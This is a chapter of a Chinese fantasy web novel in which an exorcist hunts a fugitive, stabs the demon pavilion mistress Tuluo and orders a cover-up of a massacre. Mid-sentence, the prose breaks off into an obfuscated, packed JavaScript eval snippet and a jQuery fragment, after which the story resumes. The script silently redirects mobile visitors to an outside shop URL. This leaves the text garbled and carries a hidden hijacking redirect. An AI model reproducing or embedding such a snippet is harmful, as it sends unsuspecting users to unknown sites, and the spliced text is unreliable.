这里距离楼梯口也不过十几步。侠亦行甚至都没看清那张脸,仅仅只是瞥见一个大概身形,浑身的血液就已经冷到极点。
面上还算平静,可大脑一片空白,等反应过来,他已经跟那人对视了好几秒。
那张脸一点点变得清晰,慢慢挤进视线,刀削斧刻般地线条,眉眼处的转折锐利得仿佛能直接将人刺穿。
在看清五官之后,侠亦行更懵了,呼吸忽然变得粗重,出气多进气少,得深吸一大口才能勉强压住那股直往上涌的眩晕感。
那人也注意到他,与他对视时,危险地眯了眯眼睛。
“……喵呜!”
怀里的狸莹忽然痛呼一声。侠亦行猛地回过神,连忙松开手,撇开视线。
“对不起对不起,抓疼你了。”
他低声说着,翻开手掌,抓了一手的猫毛,竟是在这么短的时间里泌了一层薄薄的汗。
侠亦行在心里怒喊卧槽。
卧槽卧槽卧槽!
江无煜怎么会在这???
他这两天到底是走什么阎王运?!前一个鹤观卿后一个江无煜,这俩煞神怎么都能正好跟他碰见?
要说之前的天山,那就是宁可错杀一百,不可错放一个。只要像侠亦行的人,哪怕是女人孩子,都会被暗中了结。
但终究是广义上的“像”,至少没有逮着一个人一直杀。所以侠亦行这些年来避免跟人接触,靠着人皮面具,住所也四处辗转,这才勉强苟延残喘。
可眼下江无煜都跟他打了照面,估计就不在是以前那般简单了。
侠亦行要是有阴阳眼,高低得回头看看自己屁股后面是不是跟了黑白无常、牛头马面,他真是非死不可吗——!
他已经撇开眼神,佯装撸猫。可楼梯口的男人还在上下打量。前边的荼罗不明所以,冷声道:“江天师怎么会到我们醉天楼来。”
见他一直盯着侠亦行,她随口问了一句:“怎么,你们认识。”
男人扶正佩剑,踏着步子缓缓走过来,腰间的铜钱串发出清脆响声,落在侠亦行耳朵里格外刺耳,心也跟着突突直跳。
“不认识。”江无煜说完嘴角勾起一抹笑,笑眯眯地说,“不过,或许是缘分使然,我对这位天师有种一见如故的感觉。”
“……”
侠亦行差点直接被这句话吓死,略微思忖后,心道豁出去了。
他挺直背脊,脸上很是自然地换了一副神态,向前一步拉住荼罗的手臂,尖着细嗓扭捏道:“好姐姐,我们什么时候下去吃饭嘛,人家好饿的。”
说完,他瞥一眼江无煜,白眼一翻:“你谁呀,我姐姐可是荼罗,就你还想跟我沾亲带故的?别碰瓷了。”
荼罗:“……”
江无煜:“……”
雁白:“……”
狸莹:“……”
又在发什么疯。
荼罗狠狠皱起眉头,刚要一掌将他击飞出去,结果却对上侠亦行眼中那抹哀求。
荼罗:?你到底要干什么?
侠亦行:好姐姐,荼罗天仙,你配合一下我,求求你了,这可是江无煜!比鹤观卿还吓人的江无煜!帮帮我帮帮我什么都好说……
荼罗:……
两人眼神交流完毕,荼罗面色不悦,但看在刚才那块宗主令的份上,还是忍着火气拨开他的手:“去后院等我,我让厨子给你送过去。”
侠亦行庆幸于荼罗居然能看懂他的眼神,长舒一口气:“好呀,那我就先下去喽。”
说完他也没看江无煜,抱着猫与那人擦身而过。
“……”
江无煜视线追随着他,直到背影消失在转角处。
面前这人跟尊佛似的一动不动,身上还传来一阵镇妖符的威压,荼罗心中更加不快:“你有什么事?”
江无煜看她一眼,语气细听很有兴致:“刚刚那个人是谁?”
荼罗:“你没听到她叫我姐姐么。”
“我正忙着,天师要是没什么事还请让个道。”
江无煜看她一眼:“来找阁主,自然是有事相求。”
“那就说。”
“都说玄机阁消息灵通,不知道阁主最近有没有关于侠亦行的消息?”
天山追杀侠亦行全天下都知晓,并不是什么秘密,只不过之前天山从来没有来求过玄机阁。荼罗觉得奇怪:“天山也有找不到的人?他不是早就死了么。”
“侠亦行不一样。他的脑子里总有稀奇古怪的奇妙想法,难免会出些岔子。”江无煜道,“毕竟反叛人族的人,总要找得仔细些。”
荼罗:“既然反叛人族,那就是投诚妖族。我为什么要告诉你他的消息?”
“那就是有咯?”
这种咄咄逼人的语气真是让人不爽,荼罗不再回话,抬脚就直接离去。
结果还没走两步,忽地感到腰腹一凉——
“……”
荼罗脚步一顿,瞳孔骤缩,不可置信地垂眼向下方看去。
铜钱剑泛着金光,赫然从腰腹处刺穿,露出半截染血的剑尖。
“狗天师……你找死——!”
心底火焰腾然升起,荼罗手掌一软,顿时化为攒动花枝,箭矢般直冲江无煜地心口刺去!
江无煜不急不忙地闪开,双指拈出镇妖符,符纸在指尖无火自燃,随着咒诀与腰间双刃同时飞出!
荼罗一甩花枝击飞双刃,身后却悄无声息地缠上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876403|212388||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一圈咒纹——
咒纹明明灭灭,如同火焰一般,狠狠扎入她的身体,灼烧得荼罗面露痛意。花枝被强悍的火纹逼退,荼罗眼神狠厉地朝江无煜看去,不知何时,他的手中多了一件法铂。
“火纹铂……”她怒道,“独禹孤那老东西要干什么?”
江无煜:“妖族终究还是不安分的,怎么能继续在城镇里呆着呢?”
“这火纹铂可是我师父特地交于我的,说是对花妖有奇效。知道你不好对付,我还特地将铂藏在楼梯下。”
“手段卑鄙——”
话音刚落,楼下忽然传来一阵惊呼,接着就是刀剑相撞、刺入血肉和惨叫声。
此起彼伏,令人胆寒。
荼罗心底一惊:“你们到底要干什么?”
“看来玄机阁的消息也不怎么灵通。”江无煜从胸襟处掏出一张白纸,展开来,“连自己的死期都打听不到。”
他将纸上的字句念出:“天山密令。”
“玄机阁,妖众擅居人间,私藏妖类。倒卖秘事,敛赃害民。数教无果,冥顽不灵。凡阁中人,就地诛戮,毁阁抄档。”
江无煜声音不算大,可纵然有楼下的呼喊声,荼罗还是听得一清二楚。
她瞪着血红的眼:“独禹孤他怎么敢!”
“他老人家一直都敢,之前给您面子您不要啊。”江无煜摇摇头道,“平时小打小闹也就罢了,现在还跟孤羽扯上了关系。这不是自掘坟墓么。”
荼罗咬牙:“妖族网系盘综错杂,你们如此暴戾行径,就不怕妖族反扑么?”
江无煜嗤笑:“那也要看你们有没有那个本事。”
“不过你放心,您是阁主,我们还是给几分薄面。咒纹一个时辰之后自行失效,这段时间,你就在这好好看着吧。”
说罢,他绕过荼罗悠然离去。
楼下食客早就被他们的刀剑吓得四散逃逸,大堂内只剩下化为原形的妖类尸身,零碎中,偶尔还夹杂几具人类尸体。
“怎么那么不小心。”
江无煜瞧见了,嫌恶地皱了皱眉:“把尸体好生处理了,别叫人落了话柄。”
有弟子收剑问他:“师兄,那他们家里人那边怎么交代?”
江无煜想了想:“就说醉天楼内藏恶妖,妖物发狂伤人性命。”
“对了,记得加上一句,天山众弟子竭力伏妖,才没有让妖伤及更多无辜。”
“是。”
“动作抓紧些。”江无煜命令道,“收拾完跟我走。”
“还要去哪?”有弟子问。
江无煜垂眼擦着铜钱剑,却遮不住眼底那点慢慢漫上来的兴奋。
“我们……去抓一只小老鼠。”